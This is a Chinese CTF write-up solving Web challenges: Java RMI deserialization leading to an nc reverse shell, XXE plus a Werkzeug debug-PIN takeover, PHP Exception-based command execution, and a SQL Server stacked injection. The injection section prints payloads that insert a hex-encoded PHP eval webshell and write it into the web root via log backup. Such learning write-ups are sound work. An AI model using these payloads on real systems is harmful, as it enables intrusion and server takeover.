写在前面

这次比赛虽然艰难的AK了Web,但也让我发现自己比起大佬们还是有不小差距,恰逢协会换届,同届的同学已经当上了会长,我才刚刚有了点小成果,认识了一个低我一届的外校web手,拿了几乎所有web题的一血。看到这些,说没有心理落差肯定是假的,但又能怎样呢,生活还得继续,接受自己的平凡,在这个小成果上,朝着自己的目标慢慢前进吧!

Web

mini java

这个题难死我辣,虽然听出题人说是最最基础的java反序列化题(做出来之后再回顾,确实如此)但对于此前从来没做过java题的我来说确实太痛苦了,感谢出题人xl哥对我若智提问的不离不弃QAQ

首先说下思路吧,题目给出了源代码,从中可以发现靶机会调用lookup方法连上注册中心,在RMI中,这次过程的靶机就相当于客户端,而我们要做的就是用服务端来攻击客户端,网上有很多文章是讲这个的,这篇个人觉得比较好:https://xz.aliyun.com/t/7932#toc-2

此外,服务端必须要有公网IP,靶机才能去连接,这里建议服务端搭在自己的VPS上。

接下来说到具体的攻击手法,其实很简单,自己用Ysoserial起一个EXP/JRMP listener,设置好端口和payload,只要客户端对服务端用lookup发起请求,服务端就会返回一个包含了恶意payload的Exception,最终在客户端(也就是靶机上)实现RCE。

事情到这里都很美好,从确定方向是RMI,被出题人点醒RMI的远程方法调用是在服务端运行,客户端只是会接受服务端返回的结果后,我又看了一个B站UP白日梦组长的RMI系列视频,最终想好了具体的流程,然而,折磨才刚刚开始

由于本人大一下选的Java是速成的,基础不能说一点没有吧,起码也是千疮百孔。所以在做题的过程中遇到了无数rz问题,单单一个readint、readbyte条件如何满足就卡了我将近一整天,在这里再次感谢xl哥555。考虑到具有良好Java基础的大佬们应该不会犯我这种低级错误,在wp里我就不多说自己踩的坑了,简单说说怎么满足条件。

MTRSULXR_LV49C@NPUP@OZG.png

首先,虽然User类中定义的readObject方法是private,IDEA里显示no usage,但这里实际会调用到User类的readObject方法。而readint和readbyte都是在User类中的readObject方法中进行的,也就是说,int、byte、object得在一块儿,这就需要我们在User类中重写writeObject方法,顺便registry也在这里赋值了

(host填自己VPS的IP地址,另外VPS也要开放1099端口):FR5OGPL@EM_JQ@6WZUVGPBX.png

然后生成一个base64编码后的字节流

_825H4B_9I___LP_TQH4055.png

URL编码结果后用data参数传入网站,如果已经设置好了VPS,开启了Yso,显示error不要慌,这是因为返回了一个包含了恶意payload的Excption,看看Yso是否接收到了请求并返回Exception。至于payload,因为是无回显RCE,我试了很多常用的方法都不行,最后是VPS开监听,让靶机执行nc做到反弹shell,flag就在根目录。

这里附一个cn-sec讲CTF中无回显的文章http://cn-sec.com/archives/504625.html

关于这道题的更多细节就留到自己博客讲了(×

FakeLogin

据xl哥说这道题涉及的知识点组会讲过,我没听那次组会,但也知道有这种解法,因为没复现过所以一时没想起来,到后面XXE中的expect、ssh2全用了一遍都不行才想着往这条路走(

这道题就不放图了,当时做的时候一直开不了环境,换的台式机才开上,写wp用的笔记本,所以懒得换上去截图了(×)

一进来就是XXE,抓个包很容易就注入进去,发现了根目录的/flag,提示要RCE才能读真正的flag

关于XXE,找到一篇XDSEC前辈K0rz3n写的文章,https://xz.aliyun.com/t/3357

可以算是非常详尽地介绍了XXE漏洞,我在利用方式里翻找了一番,对这道题使用了以下操作

  1. 文件读取,把常见的都读了个遍
  2. 根据文件读取的结果,尝试探测内网开放情况与服务端口,结果连127.0.0.1都没有。。。(这里我换十六进制,xip.io什么的都试过了,还是不行)
  3. 尝试使用伪协议,能做到RCE的expect和ssh2都不行

一筹莫展之际,我望着报错页面出神,突然觉得它不太协调,明明是个XXE的题,为啥用Flask模板来做后端,有没有一种可能……

方向确认之后就很简单了,花了差不多一小时找到EXP和所需的五个值,带进去算出来进入Debug,执行env从环境变量中拿到了flag

顺便给个网上找到的文章,里面有生成pin码的EXP,对这个知识点也介绍的很详尽了:https://blog.csdn.net/qq_35782055/article/details/129126825

PS:值得一提的是不同版本的python生成pin码的方式并不一样,这个毕竟报错页面会给你版本和路径,稍微注意下就行,不是什么大问题

啊对了还有,BurpSuite里的Render开不了Debug,记得在浏览器里面进去

ezsql

进去页面看到是个SQL注入的题,有结果回显,还直接给了语句。

![U80@_AP_2EV`R_MP5DS6_AK.png](https://s2.loli.net/2023/05/07/t9MpgjmGwx3KZrl.png)

拿出祖传字典fuzz一下,发现过滤了空格、星号、百分号、引号以及常用的增删查改关键字(但是大小写能绕过,这个点很重要

再结合题目描述的是让我们在非MySQL环境下拿根目录的flag,在这就能明确以下几点:

  1. 增删查改语句大概率要用到(并且大概率可以堆叠注入)
  2. 我们需要通过文件读写或者RCE来拿根目录的flag
  3. 空格是一定得绕的,并且不是用括号绕,因为肯定要用到增删查改语句
  4. 解题方法大概率需要用到DBMS特性
  5. 引号用十六进制绕

简单测了一下,发现以下几点

  1. 数字型
  2. 可以堆叠注入
  3. 只回显第一个语句的结果
  4. 是sql server,并且版本很新,不存在用某CVE去做

接下来开始考虑怎么绕空格,在这里我犯了很严重的失误,因为有段时间没看SQL注入了,临时去网上查到空白字符绕过空格的方式大部分都是采用URL编码,而我一想到过滤了百分号就把这种方式直接Pass了(真的经验严重不足)然而这个题是POST提交,根本就不用交%02啥的(另外,就算是GET提交%02也能过,后端检测是先解码再检测)——总之,我在这个问题上耽误了好久,最后是靠着hint解决了,害。

下一步就是查资料,找到文件读写或者RCE的方法写payload,这一步倒是很顺利,我了解到,和mysql不同,在sql server中不存在内置文件读写函数,那么就只能从RCE的方向入手。之后找到了一篇全面讲解sql server注入的文章(写入shell的具体原理请自行学习)

http://www.ppmy.cn/news/9311.html

里面给出了多种提权方式,xp_cmdshell、sp_oacreate、差异备份都尝试无果后,我利用log backup语句成功写入shell,以下介绍一下具体流程和踩坑:

因为某些申必原因(属实不懂为什么),自建数据库再插值再备份再进行log备份会报错(这里我已经手动备份了一次,但还是不行)(第一个是备份数据库的报错,说是报错,感觉也不像有错误啊…..)NY_VV8T3_TDY6@1F9_~R0_7.png5AX__8TBK2WQ_1@ZFMWJL5L.png

因此,考虑利用题目本身就有的数据库进行插值后log备份(前提是它本身就备份过一次)先说插值,我首先想到的是id,然而会报错:

1
payload: inSertintousers(id)values(0x3c3f70687020406576616c28245f504f53545b2777686f63616e736565275d293b203f3e)

![~8AH_ZP_@FM9N1`8PQ6_P_D.png](https://s2.loli.net/2023/05/07/4EunNYeiJUHcv3R.png)

一开始我还以为是语法不对,但仔细地排查过后,我确信这个位置是可以用十六进制的,但就是不行,为什么呢?

在这里卡住了很长时间,万不得已向出题人咨询,总算被点醒,id是int类型的,插个char进去当然不行,而且这个报错信息啊。。。让人不明所以

那么就想想怎么办吧,肯定是换个字段插。报错信息其实已经告诉了name字段,如果没告诉也可以自己去查出来,但我当时是用的新建一个字段然后把一句话木马插到新的字段的方法,payload如下~

1
2
3
1;ALTERTABLEusersADDwcsvarchar(2000)NULL;
1;inSertintousers(id,wcs,name)values(17,0x3c3f70687020706870696e666f28293b203f3e,36);
1;declare@wcsvarchar(2000)set@wcs=0x2f7661722f7777772f68746d6c2f6f6b6f6b2e706870bacKuplogctftodisk=@wcswithinit;

这里额外补充两点

  1. 涉及到路径的时候,直接让disk=十六进制表示的路径会报错,所以采用了先定义变量再引用的方法
  2. 一写入就访问会提示没有权限,这个时候访问一次index.php再去访问马就可以了

PS:写wp的时候试了试,不知道为啥我写马一直连不上去,测了phpinfo()是可以的,方法没问题

Signin

这道题据出题人安权师傅说,我是校内第一个做出来的,真好捏,虽然是签到题(×)

首先进来就发现首页是典中典的无效页,直接上看源码、抓包、dirsearch三件套,除了抓包没什么收获,通过源码里的注释和dirsearch都能发现

_~_4EJ6USY_9Q_IA~4X7XQK.png

进入/shell.php

![MX`NWS7__K7B__@05LXQP_B.png](https://s2.loli.net/2023/05/07/wYVc9M6A4rI13UT.png)

稍有点经验就应该能看出来,要读flag.php就必须通过最后一行$str1($str2);来进行,而这两个变量又是怎么来的呢,是通过substr对$class->$c()的返回值做分割得到的,并且分割的区间可以由我们控制。这样一来思路就很清晰了,只需要让$class->$c()的返回值里包含我们需要的system cat /flag等字符串就可以了(当然必须是连续的)

因此我们的目光投向了$class = new $a($b); 很好,三个参数a, b, c我们都能控制,接下来就是考虑,往什么类里传什么参数调用什么方法能返回我们需要的值,毫无疑问的一点是,system cat /flag等字符串肯定是我们传进去的参数,并且需要让他们保持原样拼接在返回值中,那么需要什么类和什么方法呢?

因而,我们来考虑源码中的过滤,对原生类的过滤中,SplFileObject被ban了其实无所谓,在这个题中本来也用不出来。Error被ban了还挺伤的,但也给了我们新的思路:在绕过中,最重要的思路之一就是寻找代替,比如——Exception

这里在本地试试就知道,原生类用Exception,调用__toString方法,返回值里可以包含我们传入的参数,结果如下:

1
2
3
Exception: systemwhoami in C:\Code\Php\poc.php:4
Stack trace:
#0 {main}

但是这里有两个坑,我做题的时候很快就想到这样做,但执行命令一直没反应,这里先说第一个

PHP版本差异带来的传入参数位置差异

当时我在本地搭的环境打通了,可是题目里的一直不行,急坏了的我去咨询了下出题人,得知可能是我本地的PHP版本和题目的不同。我试了试PHP5和PHP7去运行同样的代码,返回的报错信息果然不同,具体地说,PHP5的报错信息会更多,因此传入的参数位置相较于PHP7会更加后移,但其实这个是可以爆破出来的,只需要在BurpSuite中把d设置为0200,e设置为6206,为什么设置要这么大的范围呢,因为反正不亏不如保险点(我当时就是因为爆破只设置0~30,完美避开了36…..)

flag藏在了PHP文件的注释里

经验丰富的老师傅肯定会第一时间Ctrl+U了,但菜鸡如我却会怀疑自己是不是哪里写错了()最后是用BurpSuite爆破看返回页面长度找到的(话说页面长度也不是完全靠谱的,有些题会让关键回显和普通回显的页面长度一致,这时候需要筛选关键词或者状态码) 另外,在这种情况下也可以先不急,控制变量来排除问题,比如先执行一个whoami啥的,不管有没有回显都能立刻发现问题的真正所在。

Misc

Misc本来没打算做了,看了看排名,做一个签到题就可以涨一名,好吧,真香!

预想会很容易,没想到也花了将近两个小时才做出来。

上来就给了个压缩包,里面是pwd和flag压缩包,那很显然需要拿到密码去解压。拖到010editor里面去看,发现是wav的文件头,很久没做misc了,去搜了搜,出来一个频谱图的wp,照猫画虎拿到密码RxIsTheRealGod,解压flag

拖到010editor里面搜minil,得到提示和flag的前半段,要用到一个叫做SSTV的东西,再结合题目名字画外音,以及描述中的signal,需要用SSTV来接收信号。

去查了下这类题目的做法,首先要下个虚拟声卡把默认输入输出都变成声卡的,这样就可以让Potplayer播放的声音成为SSTV的输入,一边播放音频就能在SSTV中得到隐藏的图片,然后手写flag。

但是这个音频从哪儿来….虽然我进XDSEC靠的是misc,但在Noah师傅“纯学Misc没前途(除非取证)” 的劝诫下,我改学Web去了。misc题差不多有一年多没做过了,在这个地方卡了好久,甚至还尝试去播放pwd()后来看到flag前半段的提示,应该是这个flag文件本身就有flag,需要配合SSTV取出来,010editor拖进去再看一遍,发现flag前面就是IEND结束符,把中间的flag去掉,从RIFF开始就是wav文件,选中到末尾,新建十六进制文件,粘贴进去保存,重命名为wav文件播放,结束~

22T7IM@R_EWQ37KGOPC6UWT.png